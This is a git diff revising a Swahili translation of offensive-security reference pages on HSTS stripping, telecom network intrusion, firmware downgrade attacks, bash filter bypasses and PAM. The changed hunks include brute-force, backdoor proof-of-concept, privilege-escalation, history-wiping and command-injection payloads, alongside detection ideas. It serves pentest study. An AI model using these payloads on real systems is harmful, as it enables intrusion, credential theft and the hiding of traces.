Kumbuka kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http.
|
||||
|
||||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata ikiwa ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, zingatia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.**
|
||||
**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata kama ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, angalia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## TCP sikiliza katika bandari
|
||||
## TCP listen katika bandari
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
@ -770,7 +770,7 @@ Kumbuka kwamba wakati pakiti ya UDP inatumwa kwa kifaa ambacho hakina bandari il
|
||||
|
||||
### **ARP discover**
|
||||
|
||||
Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na zile tu zinazotumika zitajibu.
|
||||
Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na ni zile tu zinazotumika zitajibu.
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha maalum ya maneno huongeza kwa kiasi kikubwa mafanikio ya brute-force:
|
||||
Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha ya maneno iliyotengwa huongeza kwa kiasi kikubwa mafanikio ya brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
@ -21,7 +21,7 @@ masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:
|
||||
```
|
||||
## 2. Kuorodhesha Wajibu – `cordscan`
|
||||
|
||||
Zana ifuatayo ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja.
|
||||
Zana hii ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Utekelezaji wa Kanuni kupitia GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanakunjwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao cha nje kinachoundwa.
|
||||
`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanachambuliwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao chochote cha nje kinachoundwa.
|
||||
|
||||
Minimal PoC packet (Python):
|
||||
Pakiti ya PoC ya chini (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -66,7 +66,7 @@ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Kwa matumizi sahihi ya firewall hair-pinning, tunnel hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**.
|
||||
Kwa matumizi sahihi ya firewall hair-pinning, handaki hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel juu ya Port 53
|
||||
DNS karibu kila wakati iko wazi katika miundombinu ya kuhamahama. Funua huduma ya ndani ya SSH kwa VPS yako inayosikiliza kwenye :53 na urudi baadaye kutoka nyumbani:
|
||||
@ -111,27 +111,27 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Usafishaji wa vidokezo:
|
||||
Usafi wa mazingira:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Sanduku la Zana
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana maalum zilizoelezwa katika sehemu za awali.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana za kawaida zilizoelezwa katika sehemu za awali.
|
||||
* `FScan` : skanning ya TCP ya intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivoting nyepesi ya SOCKS5
|
||||
* `Microsocks` + `ProxyChains` : pivoting nyepesi wa SOCKS5
|
||||
* `FRP` (≥0.37) : NAT traversal / bridging ya mali
|
||||
|
||||
---
|
||||
## Mawazo ya Kugundua
|
||||
## Detection Ideas
|
||||
1. **Kila kifaa kingine isipokuwa SGSN/GGSN kinachounda Maombi ya Kuunda Muktadha wa PDP**.
|
||||
2. **Ports zisizo za kawaida (53, 80, 443) zinazo pokea mikono ya SSH** kutoka kwa IP za ndani.
|
||||
3. **Maombi ya Echo ya Mara kwa Mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor.
|
||||
2. **Bandari zisizo za kawaida (53, 80, 443) zinapokea mikono ya SSH** kutoka kwa IP za ndani.
|
||||
3. **Maombi ya Echo mara kwa mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor.
|
||||
4. **Kiwango cha juu cha trafiki ya ICMP echo-reply yenye viwanja vikubwa, visivyo na sifuri vya kitambulisho/mfuatano**.
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
|
@ -19,14 +19,14 @@ Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimam
|
||||
- Mchoro wa usanifu na michoro ya mtiririko
|
||||
- Tathmini za usalama na udhaifu ulioainishwa
|
||||
|
||||
Kwa kusudi hili, zana za **intelligence ya chanzo wazi (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
|
||||
Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
|
||||
|
||||
## **Kupata Firmware**
|
||||
|
||||
Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu:
|
||||
|
||||
- **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji)
|
||||
- **Kujenga** kutoka kwa maagizo yaliyotolewa
|
||||
- **Kujenga** kutoka kwa maelekezo yaliyotolewa
|
||||
- **Kupakua** kutoka kwenye tovuti rasmi za msaada
|
||||
- Kutumia **Google dork** maswali ya kutafuta faili za firmware zilizohifadhiwa
|
||||
- Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
@ -60,8 +60,8 @@ Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
|
||||
|
||||
### Kupata Mfumo wa Faili
|
||||
|
||||
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>`, unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
|
||||
Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni mojawapo ya yafuatayo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>` unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
|
||||
Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni moja ya zifuatazo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Utoaji wa Mfumo wa Faili kwa Mikono
|
||||
|
||||
@ -128,7 +128,7 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Ili kutathmini hali ya usimbaji wa picha, **entropy** inakaguliwa kwa `binwalk -E <bin>`. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ufinyanzi.
|
||||
|
||||
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile nyaraka za **file-data-carving-recovery-tools** na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
|
||||
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile **file-data-carving-recovery-tools** nyaraka na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
|
||||
|
||||
### Kutolewa kwa Faili za Mfumo
|
||||
|
||||
@ -154,19 +154,19 @@ Mara mfumo wa faili unapotolewa, utafutaji wa kasoro za usalama huanza. Kipaumbe
|
||||
|
||||
Zana kadhaa zinasaidia katika kufichua taarifa nyeti na udhaifu ndani ya mfumo wa faili:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa ajili ya utafutaji wa taarifa nyeti
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa ajili ya uchambuzi wa kina wa firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa ajili ya uchambuzi wa statiki na wa dinamik
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa utafutaji wa taarifa nyeti
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa uchambuzi wa kina wa firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa uchambuzi wa statiki na wa dinamik
|
||||
|
||||
### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa
|
||||
|
||||
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumika vibaya.
|
||||
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumiwa.
|
||||
|
||||
## Kuingiza Firmware kwa Uchambuzi wa Dinamik
|
||||
## Kuiga Firmware kwa Uchambuzi wa Dinamik
|
||||
|
||||
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa mapema, kunaweza kuwezesha majaribio zaidi.
|
||||
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa awali, kunaweza kuwezesha majaribio zaidi.
|
||||
|
||||
### Kuingiza Binaries Binafsi
|
||||
### Kuiga Binaries Binafsi
|
||||
|
||||
Kwa ajili ya kuchunguza programu moja, kubaini endianness ya programu na usanifu wa CPU ni muhimu.
|
||||
|
||||
@ -192,40 +192,40 @@ Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
|
||||
|
||||
## Uchambuzi wa Dynamic katika Vitendo
|
||||
|
||||
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea filesystem, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
|
||||
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na mfumo wa faili. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea mfumo wa faili, kutumia tovuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uaminifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
|
||||
|
||||
## Mbinu za Uchambuzi wa Wakati wa Uendeshaji
|
||||
## Mbinu za Uchambuzi wa Wakati
|
||||
|
||||
Uchambuzi wa wakati wa uendeshaji unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
|
||||
Uchambuzi wa wakati unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
|
||||
|
||||
## Ukatili wa Binary na Ushahidi wa Dhihirisho
|
||||
|
||||
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
|
||||
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
|
||||
|
||||
## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware
|
||||
|
||||
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, yakiwa na zana muhimu.
|
||||
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, ikiwa na zana muhimu.
|
||||
|
||||
## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware
|
||||
## Mifumo ya Uendeshaji Iliyoandaliwa kuchambua Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudiwa kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudia kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware.
|
||||
|
||||
## Mashambulizi ya Kupunguza Firmware na Mechanisms za Sasisho zisizo Salama
|
||||
|
||||
Hata wakati muuzaji anatekeleza ukaguzi wa saini za cryptographic kwa picha za firmware, **ulinzi wa kurudi nyuma (downgrade) mara nyingi haujajumuishwa**. Wakati boot- au recovery-loader inathibitisha tu saini na funguo za umma zilizojumuishwa lakini hailinganishe *toleo* (au counter monotonic) ya picha inayowekwa, mshambuliaji anaweza halali kufunga **firmware ya zamani, yenye udhaifu ambayo bado ina saini halali** na hivyo kuanzisha tena udhaifu uliofanyiwa marekebisho.
|
||||
|
||||
Mchakato wa shambulizi wa kawaida:
|
||||
Mchakato wa kawaida wa shambulio:
|
||||
|
||||
1. **Pata picha ya zamani iliyosainiwa**
|
||||
* Iteue kutoka kwenye portal ya umma ya kupakua ya muuzaji, CDN au tovuti ya msaada.
|
||||
* Iondoe kutoka kwa programu za simu/kompyuta za mezani (kwa mfano ndani ya APK ya Android chini ya `assets/firmware/`).
|
||||
* Irejeshe kutoka kwa hazina za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk.
|
||||
2. **Pakia au tolea picha kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
|
||||
* Irejeshe kutoka kwa hifadhi za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk.
|
||||
2. **Pakia au tolea picha hiyo kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
|
||||
* Web UI, API ya programu ya simu, USB, TFTP, MQTT, nk.
|
||||
* Vifaa vingi vya IoT vya watumiaji vinatoa *michakato isiyoidhinishwa* ya HTTP(S) ambayo inakubali blobs za firmware zilizowekwa Base64, kuzifungua upande wa seva na kuanzisha urejeleaji/kuinua.
|
||||
3. Baada ya kupunguza, tumia udhaifu ambao ulifanyiwa marekebisho katika toleo jipya (kwa mfano, chujio cha kuingiza amri ambacho kiliongezwa baadaye).
|
||||
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugunduliwa mara tu uvumilivu umepatikana.
|
||||
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugundulika mara tu uvumilivu umepatikana.
|
||||
|
||||
### Mfano: Kuingiza Amri Baada ya Kupunguza
|
||||
```http
|
||||
@ -246,17 +246,17 @@ firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Orodha ya Kuangalia Mantiki ya Sasisho
|
||||
|
||||
* Je, usafirishaji/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
|
||||
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza kurudi nyuma** kabla ya kuandika?
|
||||
* Je, usafiri/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
|
||||
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza nyuma kisichobadilika** kabla ya kuandika?
|
||||
* Je, picha inathibitishwa ndani ya mnyororo wa kuanza salama (kwa mfano, saini zinakaguliwa na msimbo wa ROM)?
|
||||
* Je, msimbo wa userland unafanya ukaguzi wa ziada wa akili (kwa mfano, ramani ya sehemu inayoruhusiwa, nambari ya mfano)?
|
||||
* Je, *mchakato wa* sasisho *ya sehemu* au *hifadhi* unatumia mantiki ile ile ya uthibitishaji?
|
||||
* Je, *mchakato wa sehemu* au *hifadhi* wa sasisho unatumia mantiki ile ile ya uthibitishaji?
|
||||
|
||||
> 💡 Ikiwa yoyote kati ya hapo juu inakosekana, jukwaa linaweza kuwa hatarini kwa mashambulizi ya kurudi nyuma.
|
||||
|
||||
## Firmware yenye Uhatari ya Kufanya Mazoezi
|
||||
|
||||
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya kuanzia.
|
||||
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya mwanzo.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
|
@ -78,7 +78,7 @@ mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Pita maeneo yaliyokatazwa
|
||||
### Pita nafasi zilizokatazwa
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
@ -110,7 +110,7 @@ uname!-1\-a # This equals to uname -a
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Kupita mabomba
|
||||
### Bypass pipes
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
@ -144,7 +144,7 @@ Unaweza kutumia **burpcollab** au [**pingb**](http://pingb.in) kwa mfano.
|
||||
|
||||
### Builtins
|
||||
|
||||
Iwapo huwezi kutekeleza kazi za nje na una ufikiaji tu wa **seti ndogo ya builtins kupata RCE**, kuna mbinu kadhaa za kufanya hivyo. Kawaida **hutoweza kutumia zote** za **builtins**, hivyo unapaswa **kujua chaguzi zako zote** ili kujaribu kupita gerezani. Wazo kutoka [**devploit**](https://twitter.com/devploit).\
|
||||
Iwapo huwezi kutekeleza kazi za nje na una ufikiaji tu wa **seti ndogo ya builtins ili kupata RCE**, kuna mbinu kadhaa za kufanya hivyo. Kawaida **hutoweza kutumia zote** za **builtins**, hivyo unapaswa **kujua chaguzi zako zote** ili kujaribu kupita gerezani. Wazo kutoka [**devploit**](https://twitter.com/devploit).\
|
||||
Kwanza kabisa angalia zote [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hapa kuna baadhi ya **mapendekezo**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -197,7 +197,7 @@ chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Uingiliaji wa amri wa polyglot
|
||||
### Polyglot command injection
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
@ -296,7 +296,7 @@ ln /f*
|
||||
```
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Ikiwa uko ndani ya mfumo wa faili wenye **kinga za kusoma tu na noexec** au hata katika kontena lisilo na mfumo, bado kuna njia za **kutekeleza binaries zisizo na mpangilio, hata shell!:**
|
||||
Ikiwa uko ndani ya mfumo wa faili wenye **kinga za read-only na noexec** au hata katika kontena lisilo na mfumo, bado kuna njia za **kutekeleza binaries zisizo na mipaka, hata shell!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
@ -310,7 +310,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Wakati udhaifu unakuruhusu kudhibiti sehemu fulani ya hoja ambayo hatimaye inafikia `system()` au shell nyingine, huenda usijue offset halisi ambapo utekelezaji unaanza kusoma payload yako. NOP sleds za jadi (mfano `\x90`) **hazifanyi kazi** katika sintaksia ya shell, lakini Bash itapuuzilia mbali nafasi za mbele kabla ya kutekeleza amri.
|
||||
Wakati udhaifu unakuruhusu kudhibiti sehemu ya hoja ambayo hatimaye inafikia `system()` au shell nyingine, huenda usijue offset halisi ambapo utekelezaji unaanza kusoma payload yako. NOP sleds za jadi (mfano `\x90`) **hazifanyi kazi** katika sintaksia ya shell, lakini Bash itapuuzilia mbali nafasi za mbele kabla ya kutekeleza amri.
|
||||
|
||||
Hivyo unaweza kuunda *NOP sled kwa Bash* kwa kuweka amri yako halisi kwa mfululizo mrefu wa nafasi au tab characters:
|
||||
```bash
|
||||
@ -326,7 +326,7 @@ Matumizi halisi:
|
||||
2. Hali ambapo mshambuliaji hawezi kuandika bytes za NULL ili kuoanisha payload.
|
||||
3. Vifaa vilivyojumuishwa ambavyo vinaweza tu kutumia BusyBox `ash`/`sh` – pia vinapuuzilia mbali nafasi za mbele.
|
||||
|
||||
> 🛠️ Changanya hila hii na vifaa vya ROP vinavyopiga simu `system()` ili kuongeza kwa kiasi kikubwa uaminifu wa exploit kwenye route za IoT zenye ukosefu wa kumbukumbu.
|
||||
> 🛠️ Changanya hila hii na ROP gadgets zinazopiga simu `system()` ili kuongeza kwa kiasi kikubwa uaminifu wa exploit kwenye route za IoT zenye ukosefu wa kumbukumbu.
|
||||
|
||||
## Marejeleo na Zaidi
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, ikihakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku ikipunguza matumizi yao ili kuzuia mzigo wa mfumo.
|
||||
**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku wakipunguza matumizi yao ili kuzuia mzigo wa mfumo.
|
||||
|
||||
#### Configuration Files
|
||||
|
||||
@ -24,33 +24,33 @@ password required /lib/security/pam_ldap.so
|
||||
password required /lib/security/pam_pwdb.so use_first_pass
|
||||
session required /lib/security/pam_unix_session.so
